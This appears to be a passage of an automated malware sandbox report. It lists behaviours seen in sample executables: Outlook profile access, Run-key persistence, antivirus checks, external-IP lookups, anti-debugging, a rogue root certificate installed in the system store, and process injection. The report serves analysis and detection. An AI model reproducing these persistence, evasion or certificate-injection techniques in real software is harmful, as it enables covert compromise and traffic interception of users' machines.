Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Auto Feedback Manager = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Advanced Sync Tools\\PureSync.exe" C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\enters = "C:\\Users\\Admin\\AppData\\Local\\enters.exe" C:\Users\Admin\Desktop\a\random.exe N/A

Checks for any installed AV software in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast\Version C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV\Dir C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVG\AV\Dir C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVG\AV C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast\Version C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A

Checks installed software on the system

discovery

Drops desktop.ini file(s)

Description Indicator Process Target
File created C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A
File opened for modification C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A
N/A ip-api.com N/A N/A
N/A checkip.dyndns.org N/A N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\a\lum250.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Mozilla Firefox\firefox.exe C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\assembly C:\Users\Admin\Desktop\a\client.exe N/A
File created C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A
File opened for modification C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A

Browser Information Discovery

discovery

Embeds OpenSSL

Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\msf.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\lum250.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\crypted2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\stories.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Guide2018.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\SKOblik.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Beefy.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\crypted2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\msf443.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\op.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Users\Admin\Desktop\a\Guide2018.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Users\Admin\Desktop\a\Guide2018.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\AA22E11A252ED860ADBF98E5FE93AD731AB3D03B C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\AA22E11A252ED860ADBF98E5FE93AD731AB3D03B\Blob = 030000000100000014000000aa22e11a252ed860adbf98e5fe93ad731ab3d03b2000000001000000340200003082023030820199a0030201020208631a759b363d2dce300d06092a864886f70d01010b050030503127302506035504030c1e486f7473706f7420322e302054726c737420526f6f74204341202d20303331183016060355040a0c0f57464120486f7473706f7420322e30310b3009060355040613025553301e170d3232313131373230303033345a170d3236313131363230303033345a30503127302506035504030c1e486f7473706f7420322e302054726c737420526f6f74204341202d20303331183016060355040a0c0f57464120486f7473706f7420322e30310b300906035504061302555330819f300d06092a864886f70d010101050003818d0030818902818100d2fb8cb1f3105956253a6625afd0805503d97d7b9297dfa641ffb110b87a277e7ba4c52c0349ced224ecfc714f1c2c1bc047c858882076c99359efe0a8081fd8ff33afd3c5284a713c6e36f57713056195920880e90dff197b95205db57e372d2aee9d5dfa1d088bf280f4b79ca15face9181bbbca3c04ab88c97e5498060faf0203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038181002bdb5b48345a751dec866981582406eb6ebbdd4b2df6bbd2f7cafe956dd423ea38ef1e3d9e86dee24cb143a40a510184707a07a0ac12df1fb7eb8e68ba26fc4c1917fd28ad5851c9d062b6c7fd159a327e97ad14029554b004b6dd950dbd6d5d7a273fd8be836d3e954d87eb36cb0d5d1033102c73d28d60fc1f845caf314fc1 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\client.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\New Text Document.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\client.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2712 wrote to memory of 1040 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\SKOblik.exe
